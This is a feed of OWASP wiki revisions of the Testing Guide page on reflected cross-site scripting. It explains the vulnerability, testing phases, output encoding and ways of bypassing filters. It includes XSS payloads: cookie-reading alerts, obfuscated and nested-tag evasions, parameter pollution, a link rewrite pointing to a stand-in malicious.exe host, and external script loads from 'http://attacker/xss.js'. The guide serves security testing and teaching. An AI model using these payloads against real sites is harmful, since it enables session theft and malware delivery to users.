* '''PHP Charset Encoder(PCE)''' - http://h4k.in/encoding [mirror: http://yehg.net/e ]&lt;br /&gt;
This tool helps you encode arbitrary texts to and from 65 kinds of charsets. Also some encoding functions featured by JavaScript are provided.&lt;br /&gt;
* '''HackVertor''' -  http://www.businessinfo.co.uk/labs/hackvertor/hackvertor.php&lt;br /&gt;
It provides multiple dozens of flexible encoding for advanced string manipulation attacks.&lt;br /&gt;
* '''[[OWASP WebScarab Project|WebScarab]]'''&lt;br /&gt;
WebScarab is a framework for analysing applications that communicate using the HTTP and HTTPS protocols. &lt;br /&gt;
* '''XSS-Proxy''' - http://xss-proxy.sourceforge.net/&lt;br /&gt;
XSS-Proxy is an advanced Cross-Site-Scripting (XSS) attack tool.&lt;br /&gt;
* '''ratproxy''' - http://code.google.com/p/ratproxy/&lt;br /&gt;
A semi-automated, largely passive web application security audit tool, optimized for an accurate and sensitive detection, and automatic annotation, of potential problems and security-relevant design patterns based on the observation of existing, user-initiated traffic in complex web 2.0 environments.&lt;br /&gt;
* '''Burp Proxy''' - http://portswigger.net/proxy/&lt;br /&gt;
Burp Proxy is an interactive HTTP/S proxy server for attacking and testing web applications.&lt;br /&gt;
* '''OWASP Zed Attack Proxy (ZAP)''' - [[OWASP_Zed_Attack_Proxy_Project]]&lt;br /&gt;
ZAP is an easy to use integrated penetration testing tool for finding vulnerabilities in web applications. It is designed to be used by people with a wide range of security experience and as such is ideal for developers and functional testers who are new to penetration testing. ZAP provides automated scanners as well as a set of tools that allow you to find security vulnerabilities manually.&lt;/div&gt;</summary>
		<author><name>Ben Walther</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Testing_for_Reflected_Cross_site_scripting_(OTG-INPVAL-001)&amp;diff=156349</id>
		<title>Testing for Reflected Cross site scripting (OTG-INPVAL-001)</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Testing_for_Reflected_Cross_site_scripting_(OTG-INPVAL-001)&amp;diff=156349"/>
				<updated>2013-08-01T18:27:38Z</updated>
		
		<summary type="html">&lt;p&gt;Ben Walther: Updated descriptions, example special characters, formatting, spelling.&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{{Template:OWASP Testing Guide v4}}&lt;br /&gt;
&lt;br /&gt;
== Brief Summary ==&lt;br /&gt;
&lt;br /&gt;
Reflected [[Cross-site Scripting (XSS)]] occur when an attacker injects browser executable code within a single HTTP response. The injected attack is not stored within the application itself; it is non-persistent and only impacts users who open a maliciously crafted link or third-party web page. The attack string is included as part of the crafted URI or HTTP parameters, improperly processed by the application, and returned to the victim.&lt;br /&gt;
&lt;br /&gt;
== Description of the Issue == &lt;br /&gt;
&lt;br /&gt;
Reflected XSS are the most frequent type of XSS attacks found in the wild.&lt;br /&gt;
&lt;br /&gt;
Reflected XSS attacks are also known as non-persistent XSS attacks and, since the attack payload is delivered and executed via a single request and response, they are also referred to as first-order or type 1 XSS. Because the attack hijacks the browser's trust of the web application, it is a type of &amp;quot;Confused Deputy http://en.wikipedia.org/wiki/Confused_deputy_problem]&amp;quot; attack. &lt;br /&gt;
&lt;br /&gt;
When a web application is vulnerable to this type of attack, it will &lt;br /&gt;
pass unvalidated input sent through requests back to the client. The common modus &lt;br /&gt;
operandi of the attack includes a design step, in which the attacker &lt;br /&gt;
creates and tests an offending URI, a social engineering step, in which &lt;br /&gt;
she convinces her victims to load this URI on their browsers, and the eventual &lt;br /&gt;
execution of the offending code using the victim's browser. &lt;br /&gt;
&lt;br /&gt;
Commonly the attacker's code is written in the Javascript language, but  &lt;br /&gt;
other scripting languages are also used, e.g., ActionScript and VBScript. &lt;br /&gt;
&lt;br /&gt;
Attackers typically leverage these vulnerabilities to &lt;br /&gt;
install key loggers, steal victim cookies, perform clipboard theft, and &lt;br /&gt;
change the content of the page (e.g., download links). &lt;br /&gt;
&lt;br /&gt;
One of the primary difficulties in preventing XSS vulnerabilities is proper character encoding. &lt;br /&gt;
In some cases, the web server or the web application could not be filtering some &lt;br /&gt;
encodings of characters, so, for example, the web application might filter out &amp;quot;&amp;lt;script&amp;gt;&amp;quot;, &lt;br /&gt;
but might not filter %3cscript%3e which simply includes another encoding of tags.&lt;br /&gt;
&lt;br /&gt;
== Black Box testing and example ==&lt;br /&gt;
A black-box test will include at least three phases:&lt;br /&gt;
&lt;br /&gt;
1. Detect input vectors. For each web page, the tester must determine all the web application's&lt;br /&gt;
user-defined variables and how to input them. This includes hidden or non-obvious inputs such as HTTP parameters, POST data, hidden form field values, and predefined radio or selection values. Typically in-browser HTML editors or web proxies are used to view these hidden variables. See the example below.&lt;br /&gt;
&lt;br /&gt;
2. Analyze each input vector to detect potential vulnerabilities. To detect an XSS vulnerability, the&lt;br /&gt;
tester will typically use specially crafted input data with each input vector. Such input data is&lt;br /&gt;
typically harmless, but trigger responses from the web browser that&lt;br /&gt;
manifests the vulnerability. Testing data can be generated by using a web application fuzzer, an automated predefined list of known attack strings, or manually. &lt;br /&gt;
Some example of such input data are the following:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
&amp;lt;script&amp;gt;alert(123)&amp;lt;/script&amp;gt;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
“&amp;gt;&amp;lt;script&amp;gt;alert(document.cookie)&amp;lt;/script&amp;gt;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
For a comprehensive list of potential test strings, see the [[XSS Filter Evasion Cheat Sheet]].&lt;br /&gt;
&lt;br /&gt;
3. For each test input attempted in the previous phase, the tester&lt;br /&gt;
will analyze the result and determine if it represents a vulnerability that&lt;br /&gt;
has a realistic impact on the web application's security. This requires examining the resulting web page HTML and searching for the test input. Once found, the tester identifies any special characters that were not properly encoded, replaced, or filtered out. The set of vulnerable unfiltered special characters will depend on the context of that section of HTML. &lt;br /&gt;
&lt;br /&gt;
Ideally all HTML special characters will be replaced with HTML entities. The key HTML entities to identify are: &lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
&amp;gt; (greater than) &lt;br /&gt;
&amp;lt; (less than) &lt;br /&gt;
&amp;amp; (ampersand)&lt;br /&gt;
' (apostrophe or single quote)&lt;br /&gt;
&amp;quot; (double quote)&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
However, a full list of entities is defined by the HTML and XML specifications. Wikipedia has a complete reference [http://en.wikipedia.org/wiki/List_of_XML_and_HTML_character_entity_references].&lt;br /&gt;
&lt;br /&gt;
Within the context of an HTML action or JavaScript code, a different set of special characters will need to be escaped, encoded, replaced, or filtered out. These characters include: &lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
\n (new line)&lt;br /&gt;
\r (carriage return)&lt;br /&gt;
\' (apostrophe or single quote)&lt;br /&gt;
\&amp;quot; (double quote)&lt;br /&gt;
\\ (backslash)&lt;br /&gt;
\uXXXX (unicode values)&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
For a more complete reference, see the Mozilla JavaScript guide. [https://developer.mozilla.org/en-US/docs/Web/JavaScript/Guide/Values,_variables,_and_literals#Using_special_characters_in_strings]&lt;br /&gt;
&lt;br /&gt;
=== Example 1 ===&lt;br /&gt;
For example, consider a site that has a welcome notice &amp;quot; Welcome %username% &amp;quot; and a download link. &lt;br /&gt;
&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
[[Image:XSS Example1.png]]&lt;br /&gt;
&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
The tester must suspect that every data entry point can result in an XSS attack. To analyze it, the tester will play with the user variable and try to trigger the vulnerability. &lt;br /&gt;
Let's try to click on the following link and see what happens:&lt;br /&gt;
&amp;lt;pre&amp;gt;http://example.com/index.php?user=&amp;lt;script&amp;gt;alert(123)&amp;lt;/script&amp;gt;&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
If no sanitization is applied this will result in the following popup:&lt;br /&gt;
&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
[[Image:alert.png]]&lt;br /&gt;
&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
This indicates that there is an XSS vulnerability and it appears that the tester can execute code of his choice in anybody's browser if he clicks on the tester's link.&lt;br /&gt;
&lt;br /&gt;
=== Example 2 ===&lt;br /&gt;
Let's try other piece of code (link):&lt;br /&gt;
&amp;lt;pre&amp;gt;http://example.com/index.php?user=&amp;lt;script&amp;gt;window.onload = function() {var AllLinks=document.getElementsByTagName(&amp;quot;a&amp;quot;); &lt;br /&gt;
AllLinks[0].href = &amp;quot;http://badexample.com/malicious.exe&amp;quot;; }&amp;lt;/script&amp;gt; &amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
This produces the following behavior:&lt;br /&gt;
&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
[[Image:XSS Example2.png]]&lt;br /&gt;
&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
This will cause the user, clicking on the link supplied by the tester, to download the file malicious.exe from a site he controls.&lt;br /&gt;
&lt;br /&gt;
== Bypass XSS filters  ==&lt;br /&gt;
Reflected cross-site scripting attacks are prevented as the web application sanitizes input, a web&lt;br /&gt;
application firewall blocks malicious input, or by mechanisms embedded in modern web browsers.&lt;br /&gt;
&lt;br /&gt;
The tester must test for vulnerabilities assuming that web browsers will not prevent the attack. Browsers may be out of date, or have built-in security features disabled.&lt;br /&gt;
&lt;br /&gt;
Similarly, web application firewalls are not guaranteed to recognize novel, unknown attacks. An attacker could craft an attack string that is unrecognized by the web application firewall.&lt;br /&gt;
&lt;br /&gt;
Thus, the majority of XSS prevention must depend on the web application's sanitization of untrusted user input. There are several mechanisms available to developers for sanitization, such as returning an error, removing, encoding, or replacing invalid input. The means by which the application detects and corrects invalid input is another primary weakness in preventing XSS. A blacklist may not include all possible attack strings, a whitelist may be overly permissive, the sanitization could fail, or a type of input may be incorrectly trusted and remain unsanitized. All of these allow attackers to circumvent XSS filters.&lt;br /&gt;
&lt;br /&gt;
The [[XSS Filter Evasion Cheat Sheet]] documents common filter evasion tests.&lt;br /&gt;
&lt;br /&gt;
''' Example 3: Tag Attribute Value '''&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
Since these filters are based on a blacklist, they could not block every type of expressions. In fact, there are cases in which an XSS exploit can be carried out without the use of &amp;lt;script&amp;gt; tags and even without the use of characters such as &amp;quot; &amp;lt; &amp;gt; and / that are commonly filtered.&lt;br /&gt;
For example, the web application could use the user input value to fill an attribute, as shown in the following code:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
&amp;lt;input type=&amp;quot;text&amp;quot; name=&amp;quot;state&amp;quot; value=&amp;quot;INPUT_FROM_USER&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Then an attacker could submit the following code:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
&amp;quot; onfocus=&amp;quot;alert(document.cookie)&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
''' Example 4: Different syntax or enconding '''&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
In some cases it is possible that signature-based filters can be simply defeated by obfuscating the attack. Typically you can do this through the insertion of unexpected variations in the syntax or in the enconding. These variations are tolerated by browsers as valid HTML when the code is returned, and yet they could also be accepted by the filter. &lt;br /&gt;
Following some examples:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
&amp;quot;&amp;gt;&amp;lt;script &amp;gt;alert(document.cookie)&amp;lt;/script &amp;gt;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
&amp;quot;&amp;gt;&amp;lt;ScRiPt&amp;gt;alert(document.cookie)&amp;lt;/ScRiPt&amp;gt;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
&amp;quot;%3cscript%3ealert(document.cookie)%3c/script%3e&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
''' Example 5: Bypassing non-recursive filtering '''&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
Sometimes the sanitization is applied only once and it is not being performed recursively. In this case the attacker can beat the filter by sending a string containing multiple attempts, like this one:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
&amp;lt;scr&amp;lt;script&amp;gt;ipt&amp;gt;alert(document.cookie)&amp;lt;/script&amp;gt;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
''' Example 6: Including external script '''&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
Now suppose that developers of the target site implemented the following code to protect the input from the inclusion of external script: &lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
&amp;lt;?&lt;br /&gt;
   $re = &amp;quot;/&amp;lt;script[^&amp;gt;]+src/i&amp;quot;;&lt;br /&gt;
&lt;br /&gt;
   if (preg_match($re, $_GET['var'])) &lt;br /&gt;
   {&lt;br /&gt;
      echo &amp;quot;Filtered&amp;quot;;&lt;br /&gt;
      return; &lt;br /&gt;
   }&lt;br /&gt;
   echo &amp;quot;Welcome &amp;quot;.$_GET['var'].&amp;quot; !&amp;quot;;&lt;br /&gt;
?&amp;gt;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
In this scenario there is a regular expression checking if &amp;lt;b&amp;gt;&amp;lt;script [anything but the character: '&amp;gt;' ] src&amp;lt;/b&amp;gt; is inserted. This is useful for filtering expressions like &lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
&amp;lt;script src=&amp;quot;http://attacker/xss.js&amp;quot;&amp;gt;&amp;lt;/script&amp;gt;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
which is a common attack. But, in this case, it is possible to bypass the sanitization by using the &amp;quot;&amp;gt;&amp;quot; character in an attribute between script and src, like this: &lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
http://example/?var=&amp;lt;SCRIPT%20a=&amp;quot;&amp;gt;&amp;quot;%20SRC=&amp;quot;http://attacker/xss.js&amp;quot;&amp;gt;&amp;lt;/SCRIPT&amp;gt; &lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
This will exploit the reflected cross site scripting vulnerability shown before, executing the javascript code stored on the attacker's web server as if it was &lt;br /&gt;
originating from the victim web site, http://example/. &lt;br /&gt;
&lt;br /&gt;
''' Example 7: HTTP Parameter Pollution (HPP) '''&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
Another method to bypass filters is the HTTP Parameter Pollution, this technique was first presented by Stefano di Paola and Luca Carettoni in 2009 at the OWASP &lt;br /&gt;
Poland conference. See the [[Testing for HTTP Parameter pollution (OWASP-DV-004)|Testing for HTTP Parameter pollution]] for more information. &lt;br /&gt;
This evasion technique consists of splitting an attack vector between multiple parameters that have the same name. The manipulation of the value of each &lt;br /&gt;
parameter depends on how each web technology is parsing these parameters, so this type of evasion is not always possible.&lt;br /&gt;
If the tested environment concatenates the values of all parameters with the same name, then an attacker could use this technique in order to bypass pattern-&lt;br /&gt;
based security mechanisms.&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
Regular attack: &lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
http://example/page.php?param=&amp;lt;script&amp;gt;[...]&amp;lt;/script&amp;gt;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Attack using HPP:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
http://example/page.php?param=&amp;lt;script&amp;amp;param=&amp;gt;[...]&amp;lt;/&amp;amp;param=script&amp;gt;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
''' Result expected '''&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
See the [[XSS Filter Evasion Cheat Sheet]] for a more detailed list of filter evasion techniques.&lt;br /&gt;
Finally, analyzing answers can get complex. A simple way to do this is to use code that pops up a dialog, as in our example. This typically indicates that an attacker could execute arbitrary JavaScript of his choice in the visitors' browsers. &lt;br /&gt;
&lt;br /&gt;
== Gray Box testing ==&lt;br /&gt;
Gray Box testing is similar to Black box testing. In gray box testing, the pen-tester has partial knowledge of the application. In this case, information regarding user input, input validation controls, and how the user input is rendered back to the user might be known by the pen-tester. &lt;br /&gt;
&lt;br /&gt;
If source code is available (White Box), all variables received from users should be analyzed. Moreover the tester should analyze any sanitization procedures implemented to decide if these can be circumvented. &lt;br /&gt;
&lt;br /&gt;
== References ==&lt;br /&gt;
'''OWASP Resources'''&amp;lt;br&amp;gt;&lt;br /&gt;
*[[XSS Filter Evasion Cheat Sheet]] &lt;br /&gt;
'''Books'''&amp;lt;br&amp;gt;&lt;br /&gt;
* Joel Scambray, Mike Shema, Caleb Sima - &amp;quot;Hacking Exposed Web Applications&amp;quot;, Second Edition, McGraw-Hill, 2006 - ISBN 0-07-226229-0&lt;br /&gt;
* Dafydd Stuttard, Marcus Pinto - &amp;quot;The Web Application's Handbook - Discovering and Exploiting Security Flaws&amp;quot;, 2008, Wiley, ISBN 978-0-470-17077-9&lt;br /&gt;
* Jeremiah Grossman, Robert &amp;quot;RSnake&amp;quot; Hansen, Petko &amp;quot;pdp&amp;quot; D. Petkov, Anton Rager, Seth Fogie - &amp;quot;Cross Site Scripting Attacks: XSS Exploits and Defense&amp;quot;, 2007, Syngress, ISBN-10: 1-59749-154-3&lt;br /&gt;
'''Whitepapers'''&amp;lt;br&amp;gt;&lt;br /&gt;
* '''CERT''' - Malicious HTML Tags Embedded in Client Web Requests: [http://www.cert.org/advisories/CA-2000-02.html Read]&lt;br /&gt;
* '''Rsnake''' - XSS Cheat Sheet: [http://ha.ckers.org/xss.html Read]&lt;br /&gt;
* '''cgisecurity.com''' - The Cross Site Scripting FAQ: [http://www.cgisecurity.com/articles/xss-faq.shtml Read]&lt;br /&gt;
* '''G.Ollmann''' - HTML Code Injection and Cross-site scripting: [http://www.technicalinfo.net/papers/CSS.html Read]&lt;br /&gt;
* '''A. Calvo, D.Tiscornia''' - alert('A javascritp agent'): [http://corelabs.coresecurity.com/index.php?module=FrontEndMod&amp;amp;action=view&amp;amp;type=publication&amp;amp;name=alert%28A_javascritp_agent%29 Read] ( To be published )&lt;br /&gt;
* '''S. Frei, T. Dübendorfer, G. Ollmann, M. May''' - Understanding the Web browser threat: [http://www.techzoom.net/publications/insecurity-iceberg/index.en Read]&lt;br /&gt;
'''Tools''' &amp;lt;br&amp;gt;&lt;br /&gt;
* '''[[OWASP CAL9000 Project|OWASP CAL9000]]''' &lt;br /&gt;
CAL9000 is a collection of web application security testing tools that complement the feature set of current web proxies and automated scanners. It's hosted as a reference at http://yehg.net/lab/pr0js/pentest/CAL9000/ .&lt;br /&gt;
* '''PHP Charset Encoder(PCE)''' - http://h4k.in/encoding [mirror: http://yehg.net/e ]&lt;br /&gt;
This tool helps you encode arbitrary texts to and from 65 kinds of charsets. Also some encoding functions featured by JavaScript are provided.&lt;br /&gt;
* '''HackVertor''' -  http://www.businessinfo.co.uk/labs/hackvertor/hackvertor.php&lt;br /&gt;
It provides multiple dozens of flexible encoding for advanced string manipulation attacks.&lt;br /&gt;
* '''[[OWASP WebScarab Project|WebScarab]]'''&lt;br /&gt;
WebScarab is a framework for analysing applications that communicate using the HTTP and HTTPS protocols. &lt;br /&gt;
* '''XSS-Proxy''' - http://xss-proxy.sourceforge.net/&lt;br /&gt;
XSS-Proxy is an advanced Cross-Site-Scripting (XSS) attack tool.&lt;br /&gt;
* '''ratproxy''' - http://code.google.com/p/ratproxy/&lt;br /&gt;
A semi-automated, largely passive web application security audit tool, optimized for an accurate and sensitive detection, and automatic annotation, of potential problems and security-relevant design patterns based on the observation of existing, user-initiated traffic in complex web 2.0 environments.&lt;br /&gt;
* '''Burp Proxy''' - http://portswigger.net/proxy/&lt;br /&gt;
Burp Proxy is an interactive HTTP/S proxy server for attacking and testing web applications.&lt;br /&gt;
* '''OWASP Zed Attack Proxy (ZAP)''' - [[OWASP_Zed_Attack_Proxy_Project]]&lt;br /&gt;
ZAP is an easy to use integrated penetration testing tool for finding vulnerabilities in web applications. It is designed to be used by people with a wide range of security experience and as such is ideal for developers and functional testers who are new to penetration testing. ZAP provides automated scanners as well as a set of tools that allow you to find security vulnerabilities manually.&lt;/div&gt;</summary>
		<author><name>Ben Walther</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Testing_for_Reflected_Cross_site_scripting_(OTG-INPVAL-001)&amp;diff=156348</id>
		<title>Testing for Reflected Cross site scripting (OTG-INPVAL-001)</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Testing_for_Reflected_Cross_site_scripting_(OTG-INPVAL-001)&amp;diff=156348"/>
				<updated>2013-08-01T18:03:48Z</updated>
		
		<summary type="html">&lt;p&gt;Ben Walther: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{{Template:OWASP Testing Guide v4}}&lt;br /&gt;
&lt;br /&gt;
== Brief Summary ==&lt;br /&gt;
&lt;br /&gt;
Reflected [[Cross-site Scripting (XSS)]] occur when an attacker injects browser executable code within a single HTTP response. The injected attack is not stored within the application itself; it is non-persistent and only impacts users who open a maliciously crafted link or third-party web page. The attack string is included as part of the crafted URI or HTTP parameters, improperly processed by the application, and returned to the victim.&lt;br /&gt;
&lt;br /&gt;
== Description of the Issue == &lt;br /&gt;
&lt;br /&gt;
Reflected XSS are the most frequent type of XSS attacks found in the wild.&lt;br /&gt;
&lt;br /&gt;
Reflected XSS attacks are also known as non-persistent XSS attacks and, since the attack payload is delivered and executed via a single request and response, they are also referred to as first-order or type 1 XSS. Because the attack hijacks the browsers trust of the web application, it is a type of &amp;quot;Confused Deputy http://en.wikipedia.org/wiki/Confused_deputy_problem]&amp;quot; attack. &lt;br /&gt;
&lt;br /&gt;
When a web application is vulnerable to this type of attack, it will &lt;br /&gt;
pass unvalidated input sent through requests back to the client. The common modus &lt;br /&gt;
operandi of the attack includes a design step, in which the attacker &lt;br /&gt;
creates and tests an offending URI, a social engineering step, in which &lt;br /&gt;
she convinces her victims to load this URI on their browsers, and the eventual &lt;br /&gt;
execution of the offending code using the victim's credentials. &lt;br /&gt;
&lt;br /&gt;
Commonly the attacker's code is written in the Javascript language, but  &lt;br /&gt;
other scripting languages are also used, e.g., ActionScript and VBScript. &lt;br /&gt;
&lt;br /&gt;
Attackers typically leverage these vulnerabilities to &lt;br /&gt;
install key loggers, steal victim cookies, perform clipboard theft, and &lt;br /&gt;
change the content of the page (e.g., download links). &lt;br /&gt;
&lt;br /&gt;
One of the primary difficulties in preventing XSS vulnerabilities is proper character encoding. &lt;br /&gt;
In some cases, the web server or the web application could not be filtering some &lt;br /&gt;
encodings of characters, so, for example, the web application might filter out &amp;quot;&amp;lt;script&amp;gt;&amp;quot;, &lt;br /&gt;
but might not filter %3cscript%3e which simply includes another encoding of tags. &lt;br /&gt;
A nice tool for testing character encodings is OWASP's [[OWASP CAL9000 Project|CAL9000]]. &lt;br /&gt;
&lt;br /&gt;
== Black Box testing and example ==&lt;br /&gt;
A black-box test will include at least three phases:&lt;br /&gt;
&lt;br /&gt;
1. Detect input vectors. For each web page, the tester must determine all the web application's&lt;br /&gt;
user-defined variables and how to input them. This includes hidden or non-obvious inputs such as HTTP parameters, POST data, hidden form field values, and predefined radio or selection values. Typically in-browser HTML editors or web proxies are used to view these hidden variables. See the example below.&lt;br /&gt;
&lt;br /&gt;
2. Analyze each input vector to detect potential vulnerabilities. To detect an XSS vulnerability, the&lt;br /&gt;
tester will typically use specially crafted input data with each input vector. Such input data is&lt;br /&gt;
typically harmless, but trigger responses from the web browser that&lt;br /&gt;
manifests the vulnerability. Testing data can be generated by using a web application fuzzer, an automated predefined list of known attack strings, or manually. &lt;br /&gt;
Some example of such input data are the following:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
&amp;lt;script&amp;gt;alert(123)&amp;lt;/script&amp;gt;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
“&amp;gt;&amp;lt;script&amp;gt;alert(document.cookie)&amp;lt;/script&amp;gt;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
For a comprehensive list of potential test strings, see the [[XSS_Filter_Evasion_Cheat_Sheet]].&lt;br /&gt;
&lt;br /&gt;
3. For each test input attempted in the previous phase, the tester&lt;br /&gt;
will analyze the result and determine if it represents a vulnerability that&lt;br /&gt;
has a realistic impact on the web application's security. This requires examining the resulting web page HTML and searching for the test input. Once found, the tester identifies any special characters that were not properly encoded, replaced, or filtered out. The set of vulnerable unfiltered special characters will depend on the context of that section of HTML. &lt;br /&gt;
&lt;br /&gt;
Ideally all HTML special characters will be replaced with HTML entities. The key HTML entities to identify are: &lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
&amp;gt; (greater than) &lt;br /&gt;
&amp;lt; (less than) &lt;br /&gt;
&amp;amp; (ampersand)&lt;br /&gt;
' (apostrophe or single quote)&lt;br /&gt;
&amp;quot; (double quote)&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
However, a full list of entities is defined by the HTML and XML specifications. Wikipedia has a complete reference [http://en.wikipedia.org/wiki/List_of_XML_and_HTML_character_entity_references].&lt;br /&gt;
&lt;br /&gt;
Within the context of an HTML action or JavaScript code, a different set of special characters will need to be escaped, encoded, replaced, or filtered out. These characters include: &lt;br /&gt;
&lt;br /&gt;
\n (new line)&lt;br /&gt;
\r (carriage return)&lt;br /&gt;
\' (apostrophe or single quote)&lt;br /&gt;
\&amp;quot; (double quote)&lt;br /&gt;
\\ (backslash)&lt;br /&gt;
\uXXXX (unicode values)&lt;br /&gt;
&lt;br /&gt;
For a more complete reference, see the Mozilla JavaScript guide. [https://developer.mozilla.org/en-US/docs/Web/JavaScript/Guide/Values,_variables,_and_literals#Using_special_characters_in_strings]&lt;br /&gt;
&lt;br /&gt;
''' Example 1 '''&lt;br /&gt;
For example, consider a site that has a welcome notice &amp;quot; Welcome %username% &amp;quot; and a download link. &lt;br /&gt;
&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
[[Image:XSS Example1.png]]&lt;br /&gt;
&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
The tester must suspect that every data entry point can result in an XSS attack. To analyze it, the tester will play with the user variable and try to trigger the vulnerability. &lt;br /&gt;
Let's try to click on the following link and see what happens:&lt;br /&gt;
&amp;lt;pre&amp;gt;http://example.com/index.php?user=&amp;lt;script&amp;gt;alert(123)&amp;lt;/script&amp;gt;&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
If no sanitization is applied this will result in the following popup:&lt;br /&gt;
&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
[[Image:alert.png]]&lt;br /&gt;
&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
This indicates that there is an XSS vulnerability and it appears that the tester can execute code of his choice in anybody's browser if he clicks on the tester's link.&lt;br /&gt;
&lt;br /&gt;
''' Example 2 '''&lt;br /&gt;
Let's try other piece of code (link):&lt;br /&gt;
&amp;lt;pre&amp;gt;http://example.com/index.php?user=&amp;lt;script&amp;gt;window.onload = function() {var AllLinks=document.getElementsByTagName(&amp;quot;a&amp;quot;); &lt;br /&gt;
AllLinks[0].href = &amp;quot;http://badexample.com/malicious.exe&amp;quot;; }&amp;lt;/script&amp;gt; &amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
This produces the following behavior:&lt;br /&gt;
&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
[[Image:XSS Example2.png]]&lt;br /&gt;
&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
This will cause the user, clicking on the link supplied by the tester, to download the file malicious.exe from a site he controls.&lt;br /&gt;
&lt;br /&gt;
=== Bypass XSS filters  ===&lt;br /&gt;
Most web applications today use some sort of sanitization. Yet,&lt;br /&gt;
some remain vulnerable. Reflected cross-site scripting attacks are&lt;br /&gt;
prevented either at the side of the server, by sanitization or web&lt;br /&gt;
application firewall, or at the side of the client by prevention&lt;br /&gt;
mechanisms that are embedded in modern web browsers.&lt;br /&gt;
&lt;br /&gt;
Since most of the clients do not update their browsers or, if updated, the filter could be disabled, the tester cannot count on this and he has to test for vulnerabilities assuming that web browsers will not prevent the attack. Moreover is important to note that some of these filters can be circumvented. &lt;br /&gt;
(&amp;lt;b&amp;gt;Note&amp;lt;/b&amp;gt;: In a grey-box or white-box test, the tester might access the source code and analyze the server-side sanitization procedure to decide if and how it can be circumvented).&lt;br /&gt;
&lt;br /&gt;
The web application could implement elementary blacklist-based filters attempting to avoid XSS attacks. These type of filters usually remove or encode expressions that could be dangerous (for example the &amp;lt;script&amp;gt; tag) within request parameters.&lt;br /&gt;
&lt;br /&gt;
''' Example 3: Tag Attribute Value '''&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
